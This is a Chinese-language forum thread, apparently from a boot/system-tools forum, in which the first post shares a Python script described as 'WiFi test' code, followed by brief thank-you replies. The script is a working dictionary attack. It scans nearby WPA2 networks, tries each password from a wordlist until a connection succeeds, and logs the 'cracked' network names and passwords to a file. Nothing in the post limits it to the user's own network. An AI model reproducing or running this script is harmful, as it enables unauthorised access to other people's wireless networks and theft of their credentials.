无忧启动论坛

 找回密码
 注册
搜索
系统gho:最纯净好用系统下载站广告联系 微信:wuyouceo QQ:184822951
查看: 2470|回复: 6
打印 上一主题 下一主题

[分享] 分享WiFi测试的代码

  [复制链接]
跳转到指定楼层
1#
发表于 2021-10-1 01:31:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
import pywifi

from pywifi import const  # 引用一些定义

import time


def getwifi(wifilist, wificount):
    wifi = pywifi.PyWiFi()  # 抓取网卡接口
    ifaces = wifi.interfaces()[0]  # 获取网卡
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
        if data.ssid not in namelist:  # 去掉重复的WIFI名称
            namelist.append(data.ssid)
            allwifilist.append((data.ssid, data.signal))
    sorted(allwifilist, key=lambda st: st[1], reverse=True)
    time.sleep(1)
    n = 0
    if len(allwifilist) is not 0:
        for item in allwifilist:
            if (item[0] not in ssidlist) & (item[0] not in wifilist):
                n = n + 1
                if n <= wificount:
                    ssidlist.append(item[0])
    print(allwifilist)
    return ssidlist


def getifaces():
    wifi = pywifi.PyWiFi()  # 抓取网卡接口
    ifaces = wifi.interfaces()[0]  # 获取网卡
    ifaces.disconnect()  # 断开无限网卡连接
    return ifaces


def testwifi(ifaces, ssidname, password):
    profile = pywifi.Profile()  # 创建wifi连接文件
    profile.ssid = ssidname  # 定义wifissid
    profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = password  # wifi密码
    ifaces.remove_all_network_profiles()  # 删除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
    ifaces.connect(tmp_profile)  # 连接wifi
    time.sleep(5)  # 5秒内能否连接上
    if ifaces.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False


def beginwork(wifinamelist):
    ifaces = getifaces()
    path = r'D:\WIFI密码字典.txt'
    # path = r"password-常用密码.txt"
    files = open(path, 'r')
    while True:
        try:
            password = files.readline()
            password = password.strip('\n')
            if not password:
                break
            for wifiname in wifinamelist:
                print("正在尝试:" + wifiname + "," + password)
                if testwifi(ifaces, wifiname, password):
                    print("Wifi账号:" + wifiname + ",Wifi密码:" + password+'======================================')
                    #=====================================
                    # 将连接上的账户与密码写入到文件中
                    filePassword = open("./成功破解的账户.txt", "a");
                    filePassword.write('Wifi账号:' + wifiname + '    ' + 'Wifi密码:' + password + '\n');
                    filePassword.close();
                    #=====================================
                    wifinamelist.remove(wifiname)
                    break
            if not wifinamelist:
                break
        except:
            continue
    files.close()


if __name__ == '__main__':
    wifinames_e = ["", "Vrapile"]  # 排除不破解的wifi名字
   # print(wifinames_e)
    wifinames = getwifi(wifinames_e, 5)


    print(wifinames)
    beginwork(wifinames)
2#
发表于 2021-10-1 07:30:00 | 只看该作者
谢谢
回复

使用道具 举报

3#
发表于 2021-10-1 08:40:28 | 只看该作者
谢谢分享,不断学习
回复

使用道具 举报

4#
发表于 2021-10-1 10:11:17 | 只看该作者

谢谢分享,学习了
回复

使用道具 举报

5#
发表于 2021-10-1 13:24:06 | 只看该作者
谢谢分享,小白不会用呀!
回复

使用道具 举报

6#
发表于 2021-10-1 13:29:26 来自手机 | 只看该作者
看不懂…
回复

使用道具 举报

7#
发表于 2021-10-1 23:39:59 | 只看该作者
这是高手啊
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1 )

闽公网安备 35020302032614号

GMT+8, 2024-6-14 03:38

Powered by Discuz! X3.3

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表